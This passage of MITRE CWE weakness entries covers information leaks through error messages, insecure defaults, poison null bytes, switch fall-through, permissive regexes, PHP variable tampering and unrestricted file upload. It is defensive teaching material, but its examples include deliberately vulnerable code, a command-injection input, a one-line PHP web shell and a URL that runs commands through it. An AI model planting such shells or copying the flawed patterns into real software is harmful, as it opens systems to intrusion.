Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class200Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory728OWASP Top Ten 2004 Category A7 - Improper Error Handling
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfWeakness ClassWeakness Class755Improper Handling of Exceptional Conditions
Research Concepts1000
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory851CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8672011 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base210Information Exposure Through Self-generated Error Message
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base211Information Exposure Through Externally-generated Error Message
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant550Information Exposure Through Server Error Message
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base600Uncaught Exception in Servlet
Research Concepts1000
CanFollowWeakness ClassWeakness Class756Missing Custom Error Page
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant81Improper Neutralization of Script in an Error Message Web Page
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant201Information Exposure Through Sent Data
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAccidental leaking of sensitive information through error messages
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
CERT Java Secure CodingERR01-JDo not allow exceptions to expose sensitive information
CERT C++ Secure CodingERR12-CPPDo not allow exceptions to transmit sensitive information
Software Fault PatternsSFP23Exposed Data
+ References
Web Application Security Consortium. "Information Leakage". <http://www.webappsec.org/projects/threat/classes/information_leakage.shtml>.
Brian Chess and Jacob West. "Secure Programming with Static Analysis". Section 9.2, page 326.. Addison-Wesley. 2007.
[REF-8] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 16, "General Good Practices." Page 415. 1st Edition. Microsoft. 2002.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". SANS Software Security Institute. 2010-03-17. <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message>.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-01-12CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2009-12-28CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name, Potential_Mitigations, References, Time_of_Introduction
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-09VeracodeExternal
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITREInternal
updated References
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Error Message Information Leaks
2009-12-28Error Message Information Leak

CWE-211: Information Exposure Through Externally-generated Error Message

Weakness ID: 211
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.
+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

PHP: (Often)

All

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

+ Enabling Factors for Exploitation

PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, it's not just restricted to PHP, as other languages/environments exhibit the same issue.

+ Observed Examples
ReferenceDescription
chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.
Single "'" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.
chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.
invalid parameter triggers a failure to find an include file, leading to infoleak in error message.
Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.
Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.
+ Potential Mitigations

Phase: System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

Phases: Implementation; Build and Compilation

Strategies: Compilation or Build Hardening; Environment Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Phase: Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base209Information Exposure Through an Error Message
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Relationship Notes

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

+ Functional Areas
  • Error handling
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERProduct-External Error Message Infoleak
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Description, Enabling_Factors_for_Exploitation, Functional_Areas, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Weakness_Ordinalities
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Observed_Examples
2011-03-29CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Name
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Product-External Error Message Information Leak
2012-10-30Information Exposure Through External Error Message

CWE-453: Insecure Default Variable Initialization

Weakness ID: 453
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.
+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

PHP: (Sometimes)

All

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

An attacker could gain access to and modify sensitive data or system information.

+ Demonstrative Examples

Example 1

This code attempts to login a user using credentials from a POST request:

(Bad Code)
Example Language: PHP 
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
$authorized = true;
}
...
if ($authorized) {
generatePage();
}

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

(Bad Code)
Example Language: PHP 
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
$authorized = true;
}
...

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

+ Potential Mitigations

Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory452Initialization and Cleanup Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class665Improper Initialization
Research Concepts (primary)1000
ChildOfCategoryCategory966SFP Secondary Cluster: Other Exposures
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure default variable initialization
+ Maintenance Notes

This overlaps other categories, probably should be split into separate items.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Maintenance_Notes, Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID: 626
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

+ Terminology Notes

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

Perl

ASP.NET

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Unexpected state

+ Observed Examples
ReferenceDescription
NUL byte bypasses PHP regular expression check
inserting SQL after a NUL byte bypasses whitelist regexp, enabling SQL injection
+ Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base436Interpretation Conflict
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
+ Research Gaps

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

+ References
Rain Forest Puppy. "Poison NULL byte". Phrack 55. <http://insecure.org/news/P55-07.txt>.
Brett Moore. "0x00 vs ASP file upload scripts". <http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf>.
ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". <http://seclists.org/fulldisclosure/2006/Sep/0185.html>.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2011-03-29CWE Content TeamMITREInternal
updated Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Description, Other_Notes, Research_Gaps, Terminology_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-484: Omitted Break Statement in Switch

Weakness ID: 484
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Java

.NET

PHP

+ Common Consequences
ScopeEffect
Other

Technical Impact: Alter execution logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.

+ Likelihood of Exploit

Medium

+ Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

+ Demonstrative Examples

Example 1

In both of these examples, a message is printed based on the month passed into the function:

(Bad Code)
Example Language: Java 
public void printMessage(int month){
switch (month) {

case 1: print("January");
case 2: print("February");
case 3: print("March");
case 4: print("April");
case 5: print("May");
case 6: print("June");
case 7: print("July");
case 8: print("August");
case 9: print("September");
case 10: print("October");
case 11: print("November");
case 12: print("December");
}
println(" is a great month");
}
(Bad Code)
Example Languages: C and C++ 
void printMessage(int month){
switch (month) {

case 1: printf("January");
case 2: printf("February");
case 3: printf("March");
case 4: printf("April");
case 5: printff("May");
case 6: printf("June");
case 7: printf("July");
case 8: printf("August");
case 9: printf("September");
case 10: printf("October");
case 11: printf("November");
case 12: printf("December");
}
printf(" is a great month");
}

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

+ Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Development Concepts (primary)699
Research Concepts1000
ChildOfWeakness ClassWeakness Class670Always-Incorrect Control Flow Implementation
Research Concepts (primary)1000
ChildOfCategoryCategory962SFP Secondary Cluster: Unchecked Status Condition
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPOmitted break statement
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Switch Statements", Page 337.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Detection_Factors, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Name, Other_Notes, Potential_Mitigations, Weakness_Ordinalities
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-11-24Omitted Break Statement

CWE-625: Permissive Regular Expression

Weakness ID: 625
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

  • not identifying the beginning and end of the target string

  • using wildcards instead of acceptable character ranges

  • others

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

Perl

PHP

+ Modes of Introduction

This problem is frequently found when the regular expression is used in input validation or security features such as authentication.

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Demonstrative Examples

Example 1

(Bad Code)
Example Language: Perl 
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
# looks like it only has hyphens and digits
system("lookup-phone $phone");
}
else {
error("malformed number!");
}

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

+ Observed Examples
ReferenceDescription
".*" regexp leads to static code injection
insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.
regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.
Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
regexp in .htaccess file allows access of files whose names contain certain substrings
allow load of macro files whose names contain certain substrings.
VIM Mailing list, March 14, 2006
+ Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class185Incorrect Regular Expression
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base183Permissive Whitelist
Research Concepts1000
PeerOfWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
PeerOfWeakness BaseWeakness Base187Partial Comparison
Research Concepts1000
ParentOfWeakness VariantWeakness Variant777Regular Expression without Anchors
Development Concepts (primary)699
Research Concepts (primary)1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT Java Secure CodingIDS08-JSanitize untrusted data passed to a regex
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437.. 1st Edition. Addison Wesley. 2006.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2009-03-10CWE Content TeamMITREInternal
updated Description
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-473: PHP External Variable Modification

Weakness ID: 473
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

+ Observed Examples
ReferenceDescription
File upload allows arbitrary file read by setting hidden form variables to match internal variable names.
Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.
PHP remote file inclusion by modified assumed-immutable variable.
Modify key variable when calling scripts that don't load a library that initializes it.
Authentication bypass by modifying array used for authentication.
+ Potential Mitigations

Phases: Requirements; Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Research Concepts1000
PeerOfWeakness VariantWeakness Variant616Incomplete Identification of Uploaded File Variables (PHP)
Research Concepts1000
+ Relationship Notes

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP External Variable Modification
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-12-28CWE Content TeamMITREInternal
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.
+ Alternate Terms
Unrestricted File Upload:

The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

ASP.NET: (Sometimes)

PHP: (Often)

Language-independent

Architectural Paradigms

Web-based

Technology Classes

Web-Server: (Sometimes)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

(Good Code)
Example Language: HTML 
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

(Bad Code)
Example Language: PHP 
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

(Attack)
 
malicious.php

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

(Attack)
Example Language: PHP 
<?php
system($_GET['cmd']);
?>

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

(Attack)
 
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(Good Code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(Bad Code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
